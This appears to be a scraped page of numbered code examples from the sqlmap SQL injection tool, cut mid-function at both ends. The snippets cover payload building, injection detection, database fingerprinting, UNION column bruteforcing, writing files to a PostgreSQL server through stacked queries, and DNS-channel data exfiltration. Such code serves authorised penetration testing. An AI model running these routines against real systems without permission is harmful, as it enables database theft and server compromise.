    endLimiter     = ""

    expressionUnescaped = expression

    if kb.dbmsDetected:
        _, _, _, _, _, _, fieldToCastStr = agent.getFields(expression)
        nulledCastedField                = agent.nullAndCastField(fieldToCastStr)

        if kb.dbms == DBMS.MYSQL:
            nulledCastedField            = nulledCastedField.replace("AS CHAR)", "AS CHAR(100))") # fix for that 'Subquery returns more than 1 row'

        expressionReplaced               = expression.replace(fieldToCastStr, nulledCastedField, 1)
        expressionUnescaped              = unescaper.unescape(expressionReplaced)
        startLimiter                     = unescaper.unescape("'%s'" % ERROR_START_CHAR)
        endLimiter                       = unescaper.unescape("'%s'" % ERROR_END_CHAR)
    else:
        expressionUnescaped              = kb.misc.handler.unescape(expression)
        startLimiter                     = kb.misc.handler.unescape("'%s'" % ERROR_START_CHAR)
        endLimiter                       = kb.misc.handler.unescape("'%s'" % ERROR_END_CHAR)

    forgedQuery = safeStringFormat(query, (logic, randInt, startLimiter, expressionUnescaped, endLimiter))

    debugMsg = "query: %s" % forgedQuery
    logger.debug(debugMsg)

    payload = agent.payload(newValue=forgedQuery)
    result = Request.queryPage(payload, content=True)
    match = re.search('%s(?P<result>.*?)%s' % (ERROR_START_CHAR, ERROR_END_CHAR), result[0], re.DOTALL | re.IGNORECASE)

    if match:
        output = match.group('result')

        if output:
            output = output.replace(ERROR_SPACE, " ").replace(ERROR_EMPTY_CHAR, "")

            if conf.verbose > 0:
                infoMsg = "retrieved: %s" % replaceNewlineTabs(output, stdout=True)
                logger.info(infoMsg)

    if returnPayload:
        return output, payload
    else:
        return output
Example #31
0
    def cleanupPayload(self, payload, origValue=None):
        if payload is None:
            return

        randInt = randomInt()
        randInt1 = randomInt()
        randStr = randomStr()
        randStr1 = randomStr()

        payload = payload.replace("[RANDNUM]", str(randInt))
        payload = payload.replace("[RANDNUM1]", str(randInt1))
        payload = payload.replace("[RANDSTR]", randStr)
        payload = payload.replace("[RANDSTR1]", randStr1)
        payload = payload.replace("[DELIMITER_START]", kb.chars.start)
        payload = payload.replace("[DELIMITER_STOP]", kb.chars.stop)
        payload = payload.replace("[AT_REPLACE]", kb.chars.at)
        payload = payload.replace("[SPACE_REPLACE]", kb.chars.space)
        payload = payload.replace("[DOLLAR_REPLACE]", kb.chars.dollar)
        payload = payload.replace("[SLEEPTIME]", str(conf.timeSec))

        if origValue is not None:
            payload = payload.replace("[ORIGVALUE]", origValue)

        if "[INFERENCE]" in payload:
            if Backend.getIdentifiedDbms() is not None:
                inference = queries[Backend.getIdentifiedDbms()].inference

                if "dbms_version" in inference:
                    if isDBMSVersionAtLeast(inference.dbms_version):
                        inferenceQuery = inference.query
                    else:
                        inferenceQuery = inference.query2
                else:
                    inferenceQuery = inference.query

                payload = payload.replace("[INFERENCE]", inferenceQuery)
            else:
                errMsg = "invalid usage of inference payload without "
                errMsg += "knowledge of underlying DBMS"
                raise sqlmapNoneDataException, errMsg

        return payload
Example #32
0
def heuristicCheckSqlInjection(place, parameter):
    if kb.nullConnection:
        debugMsg = "heuristic checking skipped "
        debugMsg += "because NULL connection used"
        logger.debug(debugMsg)
        return None

    if wasLastRequestDBMSError():
        debugMsg = "heuristic checking skipped "
        debugMsg += "because original page content "
        debugMsg += "contains DBMS error"
        logger.debug(debugMsg)
        return None

    prefix = ""
    suffix = ""

    if conf.prefix or conf.suffix:
        if conf.prefix:
            prefix = conf.prefix

        if conf.suffix:
            suffix = conf.suffix

    payload = "%s%s%s" % (prefix, randomStr(length=10, alphabet=['"', '\'', ')', '(']), suffix)
    payload = agent.payload(place, parameter, newValue=payload)
    page, _ = Request.queryPage(payload, place, content=True, raise404=False)

    parseFilePaths(page)

    result = wasLastRequestDBMSError()

    infoMsg = "heuristic test shows that %s " % place
    infoMsg += "parameter '%s' might " % parameter

    kb.heuristicTest = result

    if not result and kb.dynamicParameter:
        _ = conf.paramDict[place][parameter]

        if _.isdigit():
            randInt = int(randomInt())
            payload = "%s%s%s" % (prefix, "%s-%s" % (int(_) + randInt, randInt), suffix)
            payload = agent.payload(place, parameter, newValue=payload, where=PAYLOAD.WHERE.REPLACE)
            result = Request.queryPage(payload, place, raise404=False)

    if result:
        infoMsg += "be injectable (possible DBMS: %s)" % (Format.getErrorParsedDBMSes() or UNKNOWN_DBMS_VERSION)
        logger.info(infoMsg)
    else:
        infoMsg += "not be injectable"
        logger.warn(infoMsg)

    return result
Example #33
0
    def tableExistsThread():
        threadData = getCurrentThreadData()

        while kb.threadContinue:
            kb.locks.count.acquire()
            if threadData.shared.count < threadData.shared.limit:
                table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True)
                threadData.shared.count += 1
                kb.locks.count.release()
            else:
                kb.locks.count.release()
                break

            if (
                conf.db
                and METADB_SUFFIX not in conf.db
                and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD)
            ):
                fullTableName = "%s%s%s" % (
                    conf.db,
                    ".." if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) else ".",
                    table,
                )
            else:
                fullTableName = table

            result = inject.checkBooleanExpression(
                "%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName))
            )

            kb.locks.io.acquire()

            if result and table.lower() not in threadData.shared.unique:
                threadData.shared.value.append(table)
                threadData.shared.unique.add(table.lower())

                if conf.verbose in (1, 2) and not hasattr(conf, "api"):
                    clearConsoleLine(True)
                    infoMsg = "[%s] [INFO] retrieved: %s\r\n" % (
                        time.strftime("%X"),
                        unsafeSQLIdentificatorNaming(table),
                    )
                    dataToStdout(infoMsg, True)

            if conf.verbose in (1, 2):
                status = "%d/%d items (%d%%)" % (
                    threadData.shared.count,
                    threadData.shared.limit,
                    round(100.0 * threadData.shared.count / threadData.shared.limit),
                )
                dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)

            kb.locks.io.release()
Example #34
0
    def __commentCheck(self):
        logMsg = "executing MySQL comment injection fingerprint"
        logger.info(logMsg)

        query   = agent.prefixQuery(" /* NoValue */")
        query   = agent.postfixQuery(query)
        payload = agent.payload(newValue=query)
        result  = Request.queryPage(payload)

        if result != kb.defaultResult:
            warnMsg = "unable to perform MySQL comment injection"
            logger.warn(warnMsg)

            return None

        # MySQL valid versions updated at 10/2008
        versions = (
                     (32200, 32233),    # MySQL 3.22
                     (32300, 32359),    # MySQL 3.23
                     (40000, 40031),    # MySQL 4.0
                     (40100, 40125),    # MySQL 4.1
                     (50000, 50074),    # MySQL 5.0
                     (50100, 50131),    # MySQL 5.1
                     (60000, 60009),    # MySQL 6.0
                   )

        for element in versions:
            prevVer = None

            for version in range(element[0], element[1] + 1):
                randInt = randomInt()
                version = str(version)
                query   = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
                query   = agent.postfixQuery(query)
                payload = agent.payload(newValue=query)
                result  = Request.queryPage(payload)

                if result == kb.defaultResult:
                    if not prevVer:
                        prevVer = version

                    if version[0] == "3":
                        midVer = prevVer[1:3]
                    else:
                        midVer = prevVer[2]

                    trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:])

                    return trueVer

                prevVer = version

        return None
Example #35
0
def _unionTestByCharBruteforce(comment, place, parameter, value, prefix,
                               suffix):
    """
    This method tests if the target URL is affected by an union
    SQL injection vulnerability. The test is done up to 50 columns
    on the target database table
    """

    validPayload = None
    vector = None

    # In case that user explicitly stated number of columns affected
    if conf.uColsStop == conf.uColsStart:
        count = conf.uColsStart
    else:
        count = _findUnionCharCount(
            comment, place, parameter, value, prefix, suffix,
            PAYLOAD.WHERE.ORIGINAL
            if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE)

    if count:
        validPayload, vector = _unionConfirm(comment, place, parameter, prefix,
                                             suffix, count)

        if not all([validPayload, vector]) and not all([conf.uChar, conf.dbms
                                                        ]):
            warnMsg = "if UNION based SQL injection is not detected, "
            warnMsg += "please consider "

            if not conf.uChar and count > 1 and kb.uChar == NULL:
                message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] "
                test = readInput(message, default="Y")
                if test[0] not in ("y", "Y"):
                    warnMsg += "usage of option '--union-char' "
                    warnMsg += "(e.g. '--union-char=1') "
                else:
                    conf.uChar = kb.uChar = str(randomInt(2))
                    validPayload, vector = _unionConfirm(
                        comment, place, parameter, prefix, suffix, count)

            if not conf.dbms:
                if not conf.uChar:
                    warnMsg += "and/or try to force the "
                else:
                    warnMsg += "forcing the "
                warnMsg += "back-end DBMS (e.g. '--dbms=mysql') "

            if not all([validPayload, vector
                        ]) and not warnMsg.endswith("consider "):
                singleTimeWarnMessage(warnMsg)

    return validPayload, vector
Example #36
0
def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix):
    """
    This method tests if the target URL is affected by an union
    SQL injection vulnerability. The test is done up to 50 columns
    on the target database table
    """

    validPayload = None
    vector = None

    # In case that user explicitly stated number of columns affected
    if conf.uColsStop == conf.uColsStart:
        count = conf.uColsStart
    else:
        count = _findUnionCharCount(
            comment,
            place,
            parameter,
            value,
            prefix,
            suffix,
            PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE,
        )

    if count:
        validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count)

        if not all([validPayload, vector]) and not all([conf.uChar, conf.dbms]):
            warnMsg = "if UNION based SQL injection is not detected, "
            warnMsg += "please consider "

            if not conf.uChar and count > 1 and kb.uChar == NULL:
                message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] "
                test = readInput(message, default="Y")
                if test[0] not in ("y", "Y"):
                    warnMsg += "usage of option '--union-char' "
                    warnMsg += "(e.g. '--union-char=1') "
                else:
                    conf.uChar = kb.uChar = str(randomInt(2))
                    validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count)

            if not conf.dbms:
                if not conf.uChar:
                    warnMsg += "and/or try to force the "
                else:
                    warnMsg += "forcing the "
                warnMsg += "back-end DBMS (e.g. '--dbms=mysql') "

            if not all([validPayload, vector]) and not warnMsg.endswith("consider "):
                singleTimeWarnMessage(warnMsg)

    return validPayload, vector
Example #37
0
    def stackedWriteFile(self,
                         localFile,
                         remoteFile,
                         fileType,
                         forceCheck=False):
        localFileSize = os.path.getsize(localFile)
        content = open(localFile, "rb").read()

        self.oid = randomInt()
        self.page = 0

        self.createSupportTbl(self.fileTblName, self.tblField, "text")

        debugMsg = "create a new OID for a large object, it implicitly "
        debugMsg += "adds an entry in the large objects system table"
        logger.debug(debugMsg)

        # References:
        # http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
        # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html

        inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
        inject.goStacked("SELECT lo_create(%d)" % self.oid)
        inject.goStacked("DELETE FROM pg_largeobject WHERE loid=%d" % self.oid)

        for offset in xrange(0, localFileSize, LOBLKSIZE):
            fcEncodedList = self.fileContentEncode(
                content[offset:offset + LOBLKSIZE], "base64", False)
            sqlQueries = self.fileToSqlQueries(fcEncodedList)

            for sqlQuery in sqlQueries:
                inject.goStacked(sqlQuery)

            inject.goStacked(
                "INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))"
                % (self.oid, self.page, self.tblField, self.fileTblName))
            inject.goStacked("DELETE FROM %s" % self.fileTblName)

            self.page += 1

        debugMsg = "exporting the OID %s file content to " % fileType
        debugMsg += "file '%s'" % remoteFile
        logger.debug(debugMsg)

        inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, remoteFile),
                         silent=True)

        written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck)

        inject.goStacked("SELECT lo_unlink(%d)" % self.oid)

        return written
Example #38
0
    def _orderByTechnique(lowerCount=None, upperCount=None):
        def _orderByTest(cols):
            query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
            query = agent.suffixQuery(query, suffix=suffix, comment=comment)
            payload = agent.payload(newValue=query,
                                    place=place,
                                    parameter=parameter,
                                    where=where)
            page, headers, code = Request.queryPage(payload,
                                                    place=place,
                                                    content=True,
                                                    raise404=False)
            return not any(
                re.search(_, page or "", re.I)
                and not re.search(_, kb.pageTemplate or "", re.I) for _ in
                ("(warning|error):", "order (by|clause)", "unknown column",
                 "failed")) and not kb.heavilyDynamic and comparison(
                     page, headers, code) or re.search(
                         r"data types cannot be compared or sorted", page
                         or "", re.I) is not None

        if _orderByTest(
                1 if lowerCount is None else lowerCount) and not _orderByTest(
                    randomInt() if upperCount is None else upperCount + 1):
            infoMsg = "'ORDER BY' technique appears to be usable. "
            infoMsg += "This should reduce the time needed "
            infoMsg += "to find the right number "
            infoMsg += "of query columns. Automatically extending the "
            infoMsg += "range for current UNION query injection technique test"
            singleTimeLogMessage(infoMsg)

            lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount
            found = None
            while not found:
                if not conf.uCols and _orderByTest(highCols):
                    lowCols = highCols
                    highCols += ORDER_BY_STEP

                    if highCols > ORDER_BY_MAX:
                        break
                else:
                    while not found:
                        mid = highCols - (highCols - lowCols) // 2
                        if _orderByTest(mid):
                            lowCols = mid
                        else:
                            highCols = mid
                        if (highCols - lowCols) < 2:
                            found = lowCols

            return found
Example #39
0
    def checkDbms(self):
        if not conf.extensiveFp and (Backend.isDbmsWithin(MSSQL_ALIASES) \
           or conf.dbms in MSSQL_ALIASES) and Backend.getVersion() and \
           Backend.getVersion().isdigit():
            setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion()))

            self.getBanner()

            Backend.setOs(OS.WINDOWS)

            return True

        infoMsg = "testing %s" % DBMS.MSSQL
        logger.info(infoMsg)

        # NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not
        # work connecting directly to the Microsoft SQL Server database
        if conf.direct:
            result = True
        else:
            randInt = randomInt()
            result = inject.checkBooleanExpression(
                "BINARY_CHECKSUM(%d)=BINARY_CHECKSUM(%d)" % (randInt, randInt))

        if result:
            infoMsg = "confirming %s" % DBMS.MSSQL
            logger.info(infoMsg)

            for version, check in (("2000", "HOST_NAME()=HOST_NAME()"), \
                                    ("2005", "XACT_STATE()=XACT_STATE()"), \
                                    ("2008", "SYSDATETIME()=SYSDATETIME()")):
                result = inject.checkBooleanExpression(check)

                if result:
                    Backend.setVersion(version)

            if Backend.getVersion():
                setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion()))
            else:
                setDbms(DBMS.MSSQL)

            self.getBanner()

            Backend.setOs(OS.WINDOWS)

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL
            logger.warn(warnMsg)

            return False
Example #40
0
    def runAsDBMSUser(self, query):
        if conf.dCred and "Ad Hoc Distributed Queries" not in query:
            for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
                for sqlStatement in sqlStatements:
                    if query.lower().startswith(sqlStatement):
                        sqlType = sqlTitle
                        break

            if sqlType and "SELECT" not in sqlType:
                query = "SELECT %d;%s" % (randomInt(), query)

            query = getSPQLSnippet(DBMS.MSSQL, "run_statement_as_user", USER=conf.dbmsUsername, PASSWORD=conf.dbmsPassword, STATEMENT=query.replace("'", "''"))

        return query
Example #41
0
    def checkDbms(self):
        if not conf.extensiveFp and (Backend.isDbmsWithin(MSSQL_ALIASES) \
           or conf.dbms in MSSQL_ALIASES) and Backend.getVersion() and \
           Backend.getVersion().isdigit():
            setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion()))

            self.getBanner()

            Backend.setOs(OS.WINDOWS)

            return True

        infoMsg = "testing %s" % DBMS.MSSQL
        logger.info(infoMsg)

        # NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not
        # work connecting directly to the Microsoft SQL Server database
        if conf.direct:
            result = True
        else:
            randInt = randomInt()
            result = inject.checkBooleanExpression("BINARY_CHECKSUM(%d)=BINARY_CHECKSUM(%d)" % (randInt, randInt))

        if result:
            infoMsg = "confirming %s" % DBMS.MSSQL
            logger.info(infoMsg)

            for version, check in [ ("2000", "HOST_NAME()=HOST_NAME()"), \
                                    ("2005", "XACT_STATE()=XACT_STATE()"), \
                                    ("2008", "SYSDATETIME()=SYSDATETIME()") ]:
                result = inject.checkBooleanExpression(check)

                if result:
                    Backend.setVersion(version)

            if Backend.getVersion():
                setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion()))
            else:
                setDbms(DBMS.MSSQL)

            self.getBanner()

            Backend.setOs(OS.WINDOWS)

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL
            logger.warn(warnMsg)

            return False
Example #42
0
def dnsTest(payload):
    logger.info("testing for data retrieval through DNS channel")

    randInt = randomInt()
    kb.dnsTest = dnsUse(payload, "SELECT %d%s" % (randInt, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""))) == str(randInt)

    if not kb.dnsTest:
        errMsg = "data retrieval through DNS channel failed. Turning off DNS exfiltration support"
        logger.error(errMsg)

        conf.dName = None
    else:
        infoMsg = "data retrieval through DNS channel was successful"
        logger.info(infoMsg)
Example #43
0
def checkDynParam(place, parameter, value):
    """
    This function checks if the url parameter is dynamic. If it is
    dynamic, the content of the page differs, otherwise the
    dynamicity might depend on another parameter.
    """

    if kb.redirectChoice:
        return None

    kb.matchRatio = None
    dynResult = None
    randInt = randomInt()

    infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
    logger.info(infoMsg)

    try:
        payload = agent.payload(place, parameter, value, getUnicode(randInt))
        dynResult = Request.queryPage(payload, place, raise404=False)

        if not dynResult:
            infoMsg = "confirming that %s parameter '%s' is dynamic" % (
                place, parameter)
            logger.info(infoMsg)

            randInt = randomInt()
            payload = agent.payload(place, parameter, value,
                                    getUnicode(randInt))
            dynResult = Request.queryPage(payload, place, raise404=False)
    except sqlmapConnectionException:
        pass

    if dynResult is None:
        return None
    else:
        return not dynResult
Example #44
0
    def adjustLateValues(self, payload):
        """
        Returns payload with a replaced late tags (e.g. SLEEPTIME)
        """

        if payload:
            payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))

            for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)):
                payload = payload.replace(_, str(randomInt()))

            for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
                payload = payload.replace(_, randomStr())

        return payload
Example #45
0
    def adjustLateValues(self, payload):
        """
        Returns payload with a replaced late tags (e.g. SLEEPTIME)
        """

        if payload:
            payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))

            for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)):
                payload = payload.replace(_, str(randomInt()))

            for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
                payload = payload.replace(_, randomStr())

        return payload
def checkForParenthesis():
    """
    This method checks if the SQL injection affected parameter
    is within the parenthesis.
    """

    logMsg = "testing for parenthesis on injectable parameter"
    logger.info(logMsg)

    count = 0

    if kb.parenthesis != None:
        return

    if conf.prefix or conf.postfix:
        kb.parenthesis = 0
        return

    for parenthesis in range(1, 4):
        query = agent.prefixQuery("%s " % (")" * parenthesis))
        query += "AND %s" % ("(" * parenthesis)

        randInt = randomInt()
        randStr = randomStr()

        if kb.injType == "numeric":
            query += "%d=%d" % (randInt, randInt)
        elif kb.injType == "stringsingle":
            query += "'%s'='%s" % (randStr, randStr)
        elif kb.injType == "likesingle":
            query += "'%s' LIKE '%s" % (randStr, randStr)
        elif kb.injType == "stringdouble":
            query += "\"%s\"=\"%s" % (randStr, randStr)
        elif kb.injType == "likedouble":
            query += "\"%s\" LIKE \"%s" % (randStr, randStr)
        else:
            raise sqlmapNoneDataException, "unsupported injection type"

        payload = agent.payload(newValue=query)
        result = Request.queryPage(payload)

        if result == kb.defaultResult:
            count = parenthesis

    logMsg = "the injectable parameter requires %d parenthesis" % count
    logger.info(logMsg)

    setParenthesis(count)
Example #47
0
def checkForParenthesis():
    """
    This method checks if the SQL injection affected parameter
    is within the parenthesis.
    """

    logMsg = "testing for parenthesis on injectable parameter"
    logger.info(logMsg)

    count = 0

    if kb.parenthesis != None:
        return

    if conf.prefix or conf.postfix:
        kb.parenthesis = 0
        return

    for parenthesis in range(1, 4):
        query  = agent.prefixQuery("%s " % (")" * parenthesis))
        query += "AND %s" % ("(" * parenthesis)

        randInt = randomInt()
        randStr = randomStr()

        if kb.injType == "numeric":
            query += "%d=%d" % (randInt, randInt)
        elif kb.injType == "stringsingle":
            query += "'%s'='%s" % (randStr, randStr)
        elif kb.injType == "likesingle":
            query += "'%s' LIKE '%s" % (randStr, randStr)
        elif kb.injType == "stringdouble":
            query += "\"%s\"=\"%s" % (randStr, randStr)
        elif kb.injType == "likedouble":
            query += "\"%s\" LIKE \"%s" % (randStr, randStr)
        else:
            raise sqlmapNoneDataException, "unsupported injection type"

        payload = agent.payload(newValue=query)
        result = Request.queryPage(payload)

        if result == kb.defaultResult:
            count = parenthesis

    logMsg = "the injectable parameter requires %d parenthesis" % count
    logger.info(logMsg)

    setParenthesis(count)
Example #48
0
    def tableExistsThread():
        threadData = getCurrentThreadData()

        while kb.threadContinue:
            kb.locks.count.acquire()
            if threadData.shared.count < threadData.shared.limit:
                table = safeSQLIdentificatorNaming(
                    tables[threadData.shared.count], True)
                threadData.shared.count += 1
                kb.locks.count.release()
            else:
                kb.locks.count.release()
                break

            if conf.db and METADB_SUFFIX not in conf.db:
                fullTableName = "%s%s%s" % (
                    conf.db, '..' if Backend.getIdentifiedDbms() in
                    (DBMS.MSSQL, DBMS.SYBASE) else '.', table)
            else:
                fullTableName = table

            result = inject.checkBooleanExpression(
                "%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE,
                                        (randomInt(1), fullTableName)))

            kb.locks.io.acquire()

            if result and table.lower() not in threadData.shared.unique:
                threadData.shared.outputs.append(table)
                threadData.shared.unique.add(table.lower())

                if conf.verbose in (1, 2):
                    clearConsoleLine(True)
                    infoMsg = "[%s] [INFO] retrieved: %s\r\n" % (
                        time.strftime("%X"), table)
                    dataToStdout(infoMsg, True)

            if conf.verbose in (1, 2):
                status = '%d/%d items (%d%s)' % (
                    threadData.shared.count, threadData.shared.limit,
                    round(100.0 * threadData.shared.count /
                          threadData.shared.limit), '%')
                dataToStdout(
                    "\r[%s] [INFO] tried %s" % (time.strftime("%X"), status),
                    True)

            kb.locks.io.release()
Example #49
0
    def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
        wFileSize = os.path.getsize(wFile)
        content = open(wFile, "rb").read()

        self.oid = randomInt()
        self.page = 0

        self.createSupportTbl(self.fileTblName, self.tblField, "text")

        debugMsg = "create a new OID for a large object, it implicitly "
        debugMsg += "adds an entry in the large objects system table"
        logger.debug(debugMsg)

        # References:
        # http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
        # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html

        inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
        inject.goStacked("SELECT lo_create(%d)" % self.oid)
        inject.goStacked("DELETE FROM pg_largeobject WHERE loid=%d" % self.oid)

        for offset in xrange(0, wFileSize, LOBLKSIZE):
            fcEncodedList = self.fileContentEncode(content[offset : offset + LOBLKSIZE], "base64", False)
            sqlQueries = self.fileToSqlQueries(fcEncodedList)

            for sqlQuery in sqlQueries:
                inject.goStacked(sqlQuery)

            inject.goStacked(
                "INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))"
                % (self.oid, self.page, self.tblField, self.fileTblName)
            )
            inject.goStacked("DELETE FROM %s" % self.fileTblName)

            self.page += 1

        debugMsg = "exporting the OID %s file content to " % fileType
        debugMsg += "file '%s'" % dFile
        logger.debug(debugMsg)

        inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)

        written = self.askCheckWrittenFile(wFile, dFile, forceCheck)

        inject.goStacked("SELECT lo_unlink(%d)" % self.oid)

        return written
Example #50
0
def _unionTestByCharBruteforce(comment, place, parameter, value, prefix,
                               suffix):
    """
    此方法测试目标URL是否受unionSQL注入漏洞的影响。 测试在目标数据库表上最多可以有50列
    """

    validPayload = None
    vector = None

    # In case that user explicitly stated number of columns affected
    if conf.uColsStop == conf.uColsStart:
        count = conf.uColsStart
    else:
        count = _findUnionCharCount(
            comment, place, parameter, value, prefix, suffix,
            PAYLOAD.WHERE.ORIGINAL
            if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE)

    if count:
        validPayload, vector = _unionConfirm(comment, place, parameter, prefix,
                                             suffix, count)

        if not all([validPayload, vector]) and not all([conf.uChar, conf.dbms
                                                        ]):
            warnMsg = u"如果没有检测到基于UNION的SQL注入,请考虑"

            if not conf.uChar and count > 1 and kb.uChar == NULL:
                message = u"注入不能利用NULL值。你想尝试一个随机整数值选项'--union-char'吗? [Y/n] "

                if not readInput(message, default="Y", boolean=True):
                    warnMsg += u"使用选项'--union-char'(例如'--union-char = 1')"
                else:
                    conf.uChar = kb.uChar = str(randomInt(2))
                    validPayload, vector = _unionConfirm(
                        comment, place, parameter, prefix, suffix, count)

            if not conf.dbms:
                if not conf.uChar:
                    warnMsg += u"强制尝试!"
                else:
                    warnMsg += u"强制指定后端数据库类型(例如“--dbms = mysql”)"

            if not all([validPayload, vector
                        ]) and not warnMsg.endswith("consider "):
                singleTimeWarnMessage(warnMsg)

    return validPayload, vector
Example #51
0
    def cleanupPayload(self, payload, origValue=None):
        if payload is None:
            return

        replacements = (
            ("[DELIMITER_START]", kb.chars.start),
            ("[DELIMITER_STOP]", kb.chars.stop),
            ("[AT_REPLACE]", kb.chars.at),
            ("[SPACE_REPLACE]", kb.chars.space),
            ("[DOLLAR_REPLACE]", kb.chars.dollar),
            ("[HASH_REPLACE]", kb.chars.hash_),
            ("[GENERIC_SQL_COMMENT]", GENERIC_SQL_COMMENT)
        )
        payload = reduce(lambda x, y: x.replace(y[0], y[1]), replacements, payload)

        for _ in set(re.findall(r"(?i)\[RANDNUM(?:\d+)?\]", payload)):
            payload = payload.replace(_, str(randomInt()))

        for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)):
            payload = payload.replace(_, randomStr())

        if origValue is not None:
            origValue = getUnicode(origValue)
            if "[ORIGVALUE]" in payload:
                payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
            if "[ORIGINAL]" in payload:
                payload = getUnicode(payload).replace("[ORIGINAL]", origValue)

        if INFERENCE_MARKER in payload:
            if Backend.getIdentifiedDbms() is not None:
                inference = queries[Backend.getIdentifiedDbms()].inference

                if "dbms_version" in inference:
                    if isDBMSVersionAtLeast(inference.dbms_version):
                        inferenceQuery = inference.query
                    else:
                        inferenceQuery = inference.query2
                else:
                    inferenceQuery = inference.query

                payload = payload.replace(INFERENCE_MARKER, inferenceQuery)
            elif not kb.testMode:
                errMsg = "invalid usage of inference payload without "
                errMsg += "knowledge of underlying DBMS"
                raise SqlmapNoneDataException(errMsg)

        return payload
Example #52
0
    def cleanupPayload(self, payload, origValue=None):
        if payload is None:
            return

        replacements = (
            ("[DELIMITER_START]", kb.chars.start),
            ("[DELIMITER_STOP]", kb.chars.stop),
            ("[AT_REPLACE]", kb.chars.at),
            ("[SPACE_REPLACE]", kb.chars.space),
            ("[DOLLAR_REPLACE]", kb.chars.dollar),
            ("[HASH_REPLACE]", kb.chars.hash_),
            ("[GENERIC_SQL_COMMENT]", GENERIC_SQL_COMMENT)
        )
        payload = reduce(lambda x, y: x.replace(y[0], y[1]), replacements, payload)

        for _ in set(re.findall(r"(?i)\[RANDNUM(?:\d+)?\]", payload)):
            payload = payload.replace(_, str(randomInt()))

        for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)):
            payload = payload.replace(_, randomStr())

        if origValue is not None:
            origValue = getUnicode(origValue)
            if "[ORIGVALUE]" in payload:
                payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
            if "[ORIGINAL]" in payload:
                payload = getUnicode(payload).replace("[ORIGINAL]", origValue)

        if INFERENCE_MARKER in payload:
            if Backend.getIdentifiedDbms() is not None:
                inference = queries[Backend.getIdentifiedDbms()].inference

                if "dbms_version" in inference:
                    if isDBMSVersionAtLeast(inference.dbms_version):
                        inferenceQuery = inference.query
                    else:
                        inferenceQuery = inference.query2
                else:
                    inferenceQuery = inference.query

                payload = payload.replace(INFERENCE_MARKER, inferenceQuery)
            elif not kb.testMode:
                errMsg = "invalid usage of inference payload without "
                errMsg += "knowledge of underlying DBMS"
                raise SqlmapNoneDataException(errMsg)

        return payload
Example #53
0
def dnsTest(payload):
    logger.info("testing for data retrieval through DNS channel")

    randInt = randomInt()
    kb.dnsTest = dnsUse(payload, "SELECT %d%s" % (randInt, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""))) == str(randInt)

    if not kb.dnsTest:
        errMsg = "data retrieval through DNS channel failed"
        if not conf.forceDns:
            conf.dnsDomain = None
            errMsg += ". Turning off DNS exfiltration support"
            logger.error(errMsg)
        else:
            raise SqlmapNotVulnerableException(errMsg)
    else:
        infoMsg = "data retrieval through DNS channel was successful"
        logger.info(infoMsg)
Example #54
0
def dnsTest(payload):
    logger.info("testing for data retrieval through DNS channel")

    randInt = randomInt()
    kb.dnsTest = dnsUse(payload, "SELECT %d%s" % (randInt, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""))) == str(randInt)

    if not kb.dnsTest:
        errMsg = "data retrieval through DNS channel failed"
